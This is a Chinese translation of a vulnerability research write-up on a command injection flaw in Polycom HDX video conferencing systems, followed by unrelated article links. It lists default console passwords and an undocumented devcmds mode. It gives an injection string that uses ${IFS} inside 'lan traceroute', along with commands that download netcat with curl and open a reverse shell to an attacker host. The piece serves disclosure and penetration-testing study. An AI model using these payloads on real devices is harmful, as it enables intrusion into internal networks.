视频会议系统Polycom HDX远程命令执行漏洞分析

本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。 原文链接:http://staaldraad.github.io/2017/11/12/polycom-hdx-rce/

一、前言


对目标执行外围评估时,你需要花适量的时间,收集目标指纹信息,找到可能存在的攻击路径。如果目标是一个大型企业,你很有可能会找到视频会议端点。本文详细介绍了Polycom HDX系列视频会议系统中存在的一个漏洞。

我在任职于SensePost时发现了这个漏洞,并将其报告给Polycom。Polycom确认了这个漏洞,并通知我们会发布一个补丁来修复这个漏洞。这件事情距今已过去一年多时间,但我还没有看到官方公布安全公告或者漏洞补丁。从这个漏洞被披露起,官方已经修复了HDX系列中存在的一个XSS漏洞,因此可能他们认为这个漏洞的影响没那么大。

二、Polycom PSH


Polycom HDX系列产品通过23端口提供管理控制台服务。管理接口搭建在PSH(Polycom Shell)基础上,可以用来管理底层设备。默认情况下,这个接口并没有设置密码,或者会以456、admin或者POLYCOM作为密码,并且这个接口也没有绑定用户名。此外,PSH还存在一个认证绕过漏洞,不过这个漏洞的时间可以追溯到2013年,因此理论上大多数系统都已打过相应补丁。

连接到PSH控制台后,你会看到许多可用的操作,可以利用这些命令与底层会议系统交互。

这些都是非常有用的命令,然而这并不是我们需要的命令,因为我们寻找的是能够进入内部网络的方法。如果能找到命令执行方法,就很有希望能进入内部网络。回顾2013年曝光的那个认证绕过漏洞,当时他们提到了一个更早的漏洞,可以通过往ping命令中注入命令实现RCE(远程代码执行)目的。

三、枚举可用攻击面


在我的评估过程中,我发现目标对象中包含一个Polycom端点,这个端点没有启用任何身份认证机制。在没有其他可用的攻击方法前提下,我决定试一下通过这个接口进入目标内部网络。我尝试过老版本的ping命令执行漏洞,希望能够拿到一个shell,但不幸的是,该设备已打过补丁,导致攻击失败。然而,这个RCE漏洞给了我一些启示,我觉得另一个函数中可能会存在类似的漏洞。

仔细查阅官方参考手册,手动测试每条命令后,我依然没能完成命令执行目标。下一步就是尝试寻找隐藏的函数。为此,我从Polycom官方更新网页下载了系统软件的一个副本。这个更新副本为.pup文件,我使用binwalk工具来分析这个文件的具体构成。结果表明这个文件的格式并不复杂,binwalk可以自动提取出其中的所有组件。

命令如下:

1

binwalk -e polycom-hdx-release-3.1.10-51067.pup

接下来的工作就是深入分析提取出的所有二进制文件,找到那些文件比较重要、与polycom command shell(PSH)有关。在快速查阅Polycom技术文档的同时,我也参考了PSH中help命令提供的信息,综合这些信息,我明确了哪些文件是我们的寻找目标。

我解压了polycom_swupdate目录中所有的.tar.gz文件,然后执行grep命令来搜索包含某个已知命令的文件。

1 2 3

cd _polycom-hdx-release-3.1.10-51067.pup.extracted/polycom_swupdate tar xf polycom.g3.1.tar.gz grep dialchannels -R *

新的目标是avc程序。分析二进制文件最为偷懒的一种方法就是使用strings命令,这也是我所使用的方法。

1

strings avc | less

这条命令的输出结果可以翻页,便于搜索,根据这些结果,我可以窥探二进制文件及其中可能包含的命令。根据grep的搜索结果,这个文件中包含dialchannels命令,这个信息表明其他命令也有可能会以字符串形式硬编码到该文件中。我们需要遍历所有的字符串,这是一个艰辛的过程,不过幸好我们可以走条捷径。这个程序使用c/c++编写,并且代码中到处可见格式化字符串(%s)的身影。我只需要寻找使用格式化字符串(%s)并将字符串传递给已知Linux系统命令的那些命令即可。

其中最有希望的是traceroute命令。原因有两方面,首先,该命令似乎会直接调用Linux命令,并且使用格式化字符串来传递参数;其次,之前曝光的命令注入漏洞存在于ping命令中(这是我们最喜欢的操作系统命令注入点)。此时貌似我们已经可以完成任务,只需要调用traceroute 'sleep 10'命令应该就能得到命令执行效果。但事实证明并非如此。调用traceroute命令后会不断返回错误信息,提示该命令并不存在。看起来我们并不能直接调用traceroute,因此我需要寻找调用traceroute命令的正确方式。为此,我又回到前面的字符串列表中,查找其中是否包含traceroute。

根据搜索结果,我们知道traceroute是lan命令的部分选项,因此我可以尝试注入这条命令。再次回到Polycom Command Shell,经过尝试后,shell提示我们lan命令中并不包含traceroute选项。

但我认为选项中肯定包含traceroute,因为我已经在二进制文件中找到过这条命令的身影。经过艰难的搜索,我在分析bin/psh文件时发现其中包含一条未公开命令。这条命令就是devcmds,看起来非常美好。运行这条命令后,我们就能看到一条非常有趣的欢迎信息。

1 2

-> devcmds Entering sticky internal commands *ONLY* mode

四、Devcmds模式


一旦进入这个模式,我发现前面可用的某些原始命令不会再起作用,貌似devcmds会激活一个新的代码分支。在这个模式下,再次尝试lan命令,突然间我们就可以使用traceroute了。我们可以使用lan traceroute 127.0.0.1来验证这条命令是否能正常工作。

接下来就是尝试其他命令注入场景。

1

lan traceroute `echo 127.0.0.1`

然而这条命令无法成功执行,结果提示我们输入了无效的参数。

1 2

2017-11-12 12:16:40 DEBUG avc: pc[0]: NOTIFY: SYS lan traceroute Error: 2017-11-12 12:16:40 ERROR avc: pc[0]: DevMgrEther: DevMgrEther_Process_TraceRoute - (/usr/bin/traceroute `echo 2>&1 > /tmp/traceroute.out) failed [errno: 2 - No such file or directory]

查看输出结果后,我们可以发现echo之后的所有数据会直接被丢弃掉。这是因为其中包含空格符,程序会将空格符解释为一个单独的参数(程序很可能会使用空格符来拆分输入参数)。

${IFS}

幸运的是,Bash/Sh中包含一个非常棒的环境变量,即$IFS(Internal Field Separator,内部字段分隔符)。我可以使用这个环境变量来替代空格符,只需要将命令注入场景中的所有空格符替换为${IFS}即可。

1 2 3 4

lan traceroute `echo${IFS}127.0.0.1` 2009-07-25 06:08:41 DEBUG avc: pc[0]: uimsg: D: lan traceroute `echo${IFS}127.0.0.1` 2009-07-25 06:08:41 DEBUG avc: pc[0]: os: task:DETR pid:1754 thread 622ff4c0 17255 13fbc110 2009-07-25 06:08:41 INFO avc: pc[0]: DevMgrEther: Trace Route Command Entry, hostnameORIP: `echo${IFS}127.0.0.1` hop_count: 0

五、利用方法


如果这的确是RCE漏洞,为何我们不获取一个可用的shell?的确应该这么做。继续测试命令注入场景,我们又发现了一些限制条件。貌似程序会过滤掉分号(;),我们并不知道为什么会出现这种情况,可能是之前部分修复ping注入漏洞时的历史遗留问题。另一个问题是,在底层Polycom设备上,我只能使用数量有限的预置程序。也就是说,我无法使用nc命令,也无法使用反弹式bash shell。

幸运的是,我们还可以使用curl,这意味着我们可以把自定义二进制程序下载到设备中,然后再使用这些程序。我们希望能获得netcat反弹式shell,所以我们需要找到能在Polycom设备上运行的nc程序。Polycom运行在powerpc上,也就是说我们需要找到兼容的nc程序,而不能直接把本地系统的nc程序上传到设备上。这并不是一个真正的难题,很容易解决。只需要启动基于powerpc的Debian镜像,就能找到能够适配powerpc的nc程序,并且该程序也包含-e选项。

我们可以使用qemu来运行Debian镜像:

1

qemu-system-ppc -hda debian_squeeze_powerpc_standard.qcow2

使用root:root凭证登录,然后拷贝/bin/nc.traditional二进制文件即可。

在本地运行如下命令:

1

nc -lv 8999 > /tmp/nc

在qemu中运行如下命令:

1

cat /bin/nc.traditional | nc 192.168.1.101 8999

现在我们就可以充分利用Polycom上的RCE漏洞了。

获取Shell

我把powerpc版的nc上传到了web服务器上,以便下载到Polycom设备上。然后,运行监听端,接受目标返回的反弹连接。

使用如下命令运行监听端:

1

nc -lvp 444

我们可以使用如下命令来下载nc,设置可执行权限,然后创建反弹式shell。将这些命令保存为web服务器上的一个载荷文件。

1 2 3

curl x.x.x.x:443/nc -o /tmp/nc /bin/chmod +x /tmp/nc /tmp/nc -e /bin/sh x.x.x.x 444

然后,通过命令注入漏洞执行如下命令:

1

lan traceroute echo${IFS}127.0.0.1&curl${IFS}x.x.x.x:443/ncexec${IFS}|sh${IFS}&

六、总结


现在,我们已经完全掌握底层设备的root访问权限,可以访问内部主机。理想情况下,会议系统会被放置在独立的子网中,并不能访问内部网络。然而,我们知道实际环境中经常可以看到扁平式网络结构以及缺乏隔离机制的网络环境,此时我们就能以此为突破口访问内部网络。

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏IT大咖说

送给前端的你:可视化快速生成模拟数据服务——Easy Mock

? 内容来源:2017年11月18日,大搜车前端工程师高攀在“2017中国开源年会”进行《Easy Mock 接口数据模拟服务》演讲分享。IT 大咖说(微信i...

4566
来自专栏北京马哥教育

实战精华 | 搭建服务器的之后总结的一些个人经验

最近帮实验室装了两台服务器,计算用的服务器放在内网,通过一台堡垒机与外界相连。碰到很多小问题,在这里记录一下。 组建内网 这一部分没有太多好说的,堡垒机需要有两...

2754
来自专栏游戏杂谈

liunx下查看服务器硬件信息

今天安装了9台Linux服务器,型号完全不一样(有DELL、HP和IBM服务器),又懒得去对清单,如何在Linux下cpu的个数和核数呢?另外,nginx的cp...

6032
来自专栏SDNLAB

ONOS:从DeviceSubsystem看ONOS子系统设计(1):Core层基本功能架构

言 ONOS的内核是由诸多遵循同一架构设计的子系统组成的,Device Subsystem设备子系统就是其中重要的一员。笔者将借助其源码讲解ONOSCore层的...

3738
来自专栏数据和云

盘点 Oracle 11g 中新特性带来的10大性能影响(下)

还记得我们前些天盘点的Oracle 11g 的10大性能影响(上)吗? Oracle的任何一个新版本,总是会带来大量引人瞩目的新特性,但是往往在这些新特性引入之...

3455
来自专栏张善友的专栏

WCF服务上应用protobuf

protobuf是google提供的一个开源序列化框架,类似于XML,JSON这样的数据表示语言,其最大的特点是基于二进制,因此比传统的XML表示高效短小得多。...

2166
来自专栏大闲人柴毛毛

java处理高并发高负载类网站的优化方法

一:高并发高负载类网站关注点之数据库 没错,首先是数据库,这是大多数应用所面临的首个SPOF。尤其是Web2.0的应用,数据库的响应是首先要解决的。   ...

5036
来自专栏前端大白专栏

看完让你彻底搞懂Websocket原理

1423
来自专栏数据和云

【推荐】 RAC 性能优化全攻略与经典案例剖析

ORACLE RAC凭借其卓越的容错能力和可扩展性以及对应用透明的切换能力引领了数据库高可用架构的潮流,但在实际的生产环境中,出现的性能问题非常多,对数据库的稳...

3197
来自专栏Guangdong Qi

黑技术之百度网盘大文件下载直奔主题

2095

扫码关注云+社区